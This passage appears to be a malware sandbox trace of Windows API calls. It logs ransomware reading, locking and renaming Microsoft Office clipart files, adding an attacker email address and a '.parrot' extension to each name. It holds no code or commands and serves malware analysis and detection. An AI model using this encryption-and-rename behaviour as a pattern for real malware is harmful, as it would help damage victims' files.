(in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.540] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3708, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.540] CloseHandle (hObject=0x288) returned 1 [0133.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105710.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105710.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.544] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2148, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.544] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.544] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.546] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2030, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2030, lpOverlapped=0x0) returned 1 [0133.567] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.567] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2148, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.567] CloseHandle (hObject=0x288) returned 1 [0133.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.570] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ee0, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.570] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.570] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.592] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.592] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2dc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2dc8, lpOverlapped=0x0) returned 1 [0133.593] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.594] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ee0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.594] CloseHandle (hObject=0x288) returned 1 [0133.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105912.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105912.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.597] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x131c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.597] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.597] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.599] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.599] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1204, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1204, lpOverlapped=0x0) returned 1 [0133.602] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.602] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x131c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.602] CloseHandle (hObject=0x288) returned 1 [0133.602] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.605] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2864, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.605] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.605] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.620] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.620] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x274c, lpOverlapped=0x0) returned 1 [0133.659] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.660] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2864, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.660] CloseHandle (hObject=0x288) returned 1 [0133.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.664] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.664] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.664] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.665] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.665] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16b4, lpOverlapped=0x0) returned 1 [0133.666] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.666] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.666] CloseHandle (hObject=0x288) returned 1 [0133.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.669] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5d14, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.670] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.670] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.673] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.673] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5bfc, lpOverlapped=0x0) returned 1 [0133.694] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.694] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5d14, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.694] CloseHandle (hObject=0x288) returned 1 [0133.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.698] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2f94, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.698] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.711] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.711] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2e7c, lpOverlapped=0x0) returned 1 [0133.717] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.717] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2f94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.717] CloseHandle (hObject=0x288) returned 1 [0133.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.720] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4da8, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.720] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.722] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4c90, lpOverlapped=0x0) returned 1 [0133.722] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.723] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4da8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.723] CloseHandle (hObject=0x288) returned 1 [0133.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106222.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.726] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x97c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.726] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.760] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x864, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x864, lpOverlapped=0x0) returned 1 [0133.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.761] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x97c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.761] CloseHandle (hObject=0x288) returned 1 [0133.761] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.768] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.768] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.768] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.774] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd04, lpOverlapped=0x0) returned 1 [0133.774] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.774] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.775] CloseHandle (hObject=0x288) returned 1 [0133.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.778] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x36f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.778] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.780] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.780] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x35d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x35d8, lpOverlapped=0x0) returned 1 [0133.784] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.784] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x36f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.784] CloseHandle (hObject=0x288) returned 1 [0133.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106958.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106958.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.787] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce4, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.787] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.787] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.789] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.789] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbcc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbcc, lpOverlapped=0x0) returned 1 [0133.790] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.790] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.790] CloseHandle (hObject=0x288) returned 1 [0133.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.793] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ee8, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.793] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.793] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.795] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1dd0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1dd0, lpOverlapped=0x0) returned 1 [0133.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.796] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ee8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.796] CloseHandle (hObject=0x288) returned 1 [0133.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107026.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107026.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0133.799] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2470, nNumberOfBytesToLockHigh=0x0) returned 1 [0133.799] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0133.799] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0133.891] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.891] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2358, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2358, lpOverlapped=0x0) returned 1 [0133.909] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.909] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2470, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0133.909] CloseHandle (hObject=0x288) returned 1 [0133.909] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107042.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107042.wmf"), 